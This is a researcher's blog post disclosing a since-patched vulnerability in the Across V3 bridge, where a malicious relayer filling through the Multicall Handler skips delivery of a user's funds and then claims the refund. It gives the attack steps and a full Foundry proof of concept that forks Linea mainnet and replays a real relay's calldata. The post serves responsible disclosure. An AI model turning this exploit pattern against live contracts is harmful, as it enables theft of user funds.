Across V3: Cross Chain Action Vulnerability Disclosure
February 26th, 2025

Across V3 is a cross chain optimistic bridge. Users deposit assets on an origin chain, and relayers compete to immediately fulfill the request on the destination chain. At a slower pace, the protocol uses UMA’s Optimistic Oracle to validate relays, and LP funds are used to refund the relayers.

On January 28th, 2025, deadrose and I discovered a High Severity vulnerability in the protocol that would allow the full value of certain transactions to be stolen from users by malicious relayers.

To understand the attack, there are two specific features of Across that are prerequisites.

1) Cross Chain Actions

Rather than only allowing simple transfers between chains, Across also allows Cross Chain Actions, which allow users to automatically perform actions on the destination chain. This can, for example, be used to deposit funds directly into a lending protocol from another chain.

To do this, users set the receiver of their transfer to Across’s Multicall Handler and include the instructions to execute as a message along with the transaction:

bytes memory updatedMessage = relayExecution.updatedMessage;
if (updatedMessage.length > 0 && recipientToSend.isContract()) {
    AcrossMessageHandler(recipientToSend).handleV3AcrossMessage(
        outputToken,
        amountToSend,
        msg.sender,
        updatedMessage
    );
}

These instructions are passed (along with the tokens) to the Multicall Handler, where they are executed.

function handleV3AcrossMessage(
    address token,
    uint256,
    address,
    bytes memory message
) external nonReentrant {
    Instructions memory instructions = abi.decode(message, (Instructions));

    // If there is no fallback recipient, call and revert if the inner call fails.
    if (instructions.fallbackRecipient == address(0)) {
        this.attemptCalls(instructions.calls);
        return;
    }

    // Otherwise, try the call and send to the fallback recipient if any tokens are leftover.
    (bool success, ) = address(this).call(abi.encodeCall(this.attemptCalls, (instructions.calls)));
    if (!success) emit CallsFailed(instructions.calls, instructions.fallbackRecipient);

    // If there are leftover tokens, send them to the fallback recipient regardless of execution success.
    _drainRemainingTokens(token, payable(instructions.fallbackRecipient));
}

2) Early Returns for Self Relays

A common situation is that relayers themselves want to move their funds from one chain to another.

Let's say a relayer has too much of a token on OP Mainnet and not enough on Base, so they want to rebalance.

  • They could use the protocol like any other user, trusting another relayer to send them funds, but this requires paying the other relayer.

  • They could use the native OP Mainnet slow bridge, but this requires waiting a week and remembering to promptly execute the later transactions.

The simpler solution is to relay themselves. Ideally, they could send the funds on OP Mainnet, send themselves the funds on Base (which nets out to a zero transfer). Later, they are refunded by the protocol for acting as the relay and get the funds on the chain they’d like.

The problem is that, for this flow to work, they need funds on Base to send to themselves. In many situations, this might not be the case.

To assist in this situation, Across allows a relayer who relays for themselves skip the need to uselessly send tokens to themself, and the function simply returns early.

if (msg.sender == recipientToSend && !isSlowFill) return;

The Issue

The problem comes from the assumption that any time a recipient acts as a relay, there is no need to perform execution.

While this is usually true, there is one exception: Cross Chain Actions.

In the case that a user sets the Multicall Handler as their recipient, a malicious relayer is able to relay via the Multicall Handler as well (because it can execute arbitrary actions). This would set msg.sender == MulticallHandler, and would result in all token transfers and calls being skipped.

From the user's perspective, their funds would simply not arrive on the destination chain, while their relay would be marked as filled.

Specifically, an attack would look as follows:

  1. A user performs a cross chain action using the Multicaller contract. Their funds are deposited on the origin chain.

  2. On the destination chain, a malicious relayer calls the Multicaller contract and uses it to call fillV3Relay(), setting the same chain as the repayment chain. The result is that the token transfer and message execution are skipped, but the relay is marked as filled.

  3. All other relayers will consider the relay as filled. There is no suspicious behavior from the protcol's perspective.

  4. When the relayer refund root is added (on the same chain) shortly thereafter, one of the leaves will entitle the Multicaller contract to claim the relayer refund.

  5. The attacker can then call executeRelayerRefundLeaf() via the Multicaller contract, which will claim the funds. It then drains all funds it holds to the attacker at the end of the transaction.

Proof of Concept

Below is a coded POC on a fork of Linea Mainnet, using a recent Multicaller relay as an example. It can be run as a standalone script using Foundry to demonstrate the attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Test, console } from "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface MulticallHandler {
    struct Call {
        address target;
        bytes callData;
        uint256 value;
    }

    struct Instructions {
        //  Calls that will be attempted.
        Call[] calls;
        // Where the tokens go if any part of the call fails.
        // Leftover tokens are sent here as well if the action succeeds.
        address fallbackRecipient;
    }

    function handleV3AcrossMessage(
        address token,
        uint256,
        address,
        bytes memory message
    ) external;
}

contract AcrossMulticallRelayTest is Test {
    function testMulticallRelayBrick() public {
        // we will use a real relay on Linea as an example
        vm.createSelectFork("https://linea-mainnet.g.alchemy.com/v2/DS-3fhp9Y9_euXtDzTd-pu87hz06k3mM", 14887448);
        SpokePool spokePool = SpokePool(0x7E63A5f1a8F0B4d0934B2f2327DAED3F6bb2ee75);
        MulticallHandler multicall = MulticallHandler(0x1015c58894961F4F7Dd7D68ba033e28Ed3ee1cDB);
        IERC20 weth = IERC20(0xe5D7C2a44FfDDf6b295A15c148167daaAf5Cf34f);
        address user = 0x5cBD95991433E4C61cEF5CadEe32593129a2fD10;
        // from: https://lineascan.build/tx/0x920e61ab19532effdefc09aeb2945dc927a339cc21c41e0a91dc6c876a08495d
        bytes memory cd = hex"2e3781150000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000e7080000000000000000000000005cbd95991433e4c61cef5cadee32593129a2fd100000000000000000000000001015c58894961f4f7dd7d68ba033e28ed3ee1cdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000082af49447d8a07e3bd95bd0d56f35241523fbab1000000000000000000000000e5d7c2a44ffddf6b295a15c148167daaaf5cf34f0000000000000000000000000000000000000000000000000000b5e620f480000000000000000000000000000000000000000000000000000000a7b9c2392b07000000000000000000000000000000000000000000000000000000000000a4b100000000000000000000000000000000000000000000000000000000002d89120000000000000000000000000000000000000000000000000000000067908e22000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000400000000000000000000000005cbd95991433e4c61cef5cadee32593129a2fd100000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000200000000000000000000000000e5d7c2a44ffddf6b295a15c148167daaaf5cf34f000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044a9059cbb0000000000000000000000005cbd95991433e4c61cef5cadee32593129a2fd100000000000000000000000000000000000000000000000000000a6e311e466f900000000000000000000000000000000000000000000000000000000000000000000000000000000e5d7c2a44ffddf6b295a15c148167daaaf5cf34f0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000242e1a7d4d000000000000000000000000000000000000000000000000000000d6b054c40e000000000000000000000000000000000000000000000000000000000000000000000000000000001cf26eabc8f892d6056085fb8834d478b3ae052b0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000d6b054c40e0000000000000000000000000000000000000000000000000000000000000000";

        // if we execute normally, the call works and transfers funds to the user
        uint beforeState = vm.snapshot();
        console.log("Running simluation of normal call");

        // we need weth to act as relayer to demonstrate this
        deal(address(weth), address(this), 1e18);
        weth.approve(address(spokePool), 1e18);

        uint userBalanceBefore = weth.balanceOf(address(user));
        address(spokePool).call(cd);
        console.log("User balance increased by: ", weth.balanceOf(user) - userBalanceBefore);

        // now let's demonstrate the attack
        vm.revertTo(beforeState);
        console.log("********\nRunning simluation of attack");

        // we relay via the multicaller
        MulticallHandler.Call[] memory calls = new MulticallHandler.Call[](1);
        calls[0] = MulticallHandler.Call({
            target: address(spokePool),
            callData: cd,
            value: 0
        });
        MulticallHandler.Instructions memory instructions = MulticallHandler.Instructions({
            calls: calls,
            fallbackRecipient: address(this)
        });
        multicall.handleV3AcrossMessage(address(weth), 0, address(0), abi.encode(instructions));

        // now the user didn't get paid at all
        console.log("User balance increased by: ", weth.balanceOf(user) - userBalanceBefore);

        // and the order is filled and can't be called normally anymore
        (bool success, bytes memory returndata) = address(spokePool).call(cd);
        bytes4 actualError;
        assembly {
            actualError := mload(add(returndata, 32))
        }
        bytes4 expectedError = bytes4(keccak256("RelayFilled()"));
        assert(!success && actualError == expectedError);
    }
}

The Fix

Upon receiving the report of this issue, the Across team took immediate and professional action.

After analyzing the situation (and the risks that other contracts besides the MulticallHandler could be used to perform similar functionality), they ultimately determined that the safest fix would be to eliminate early returns for self-relays altogether.

Within hours, Spoke Pools on all chains had been patched.

- if (msg.sender == recipientToSend && !isSlowFill) return;

We want to thank the Across team for their professionalism, diligence, and generous bounty. They clearly prioritize security, and we're grateful to have had the chance to work with them.

Subscribe to zachobront
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.
More from zachobront

Skeleton

Skeleton

Skeleton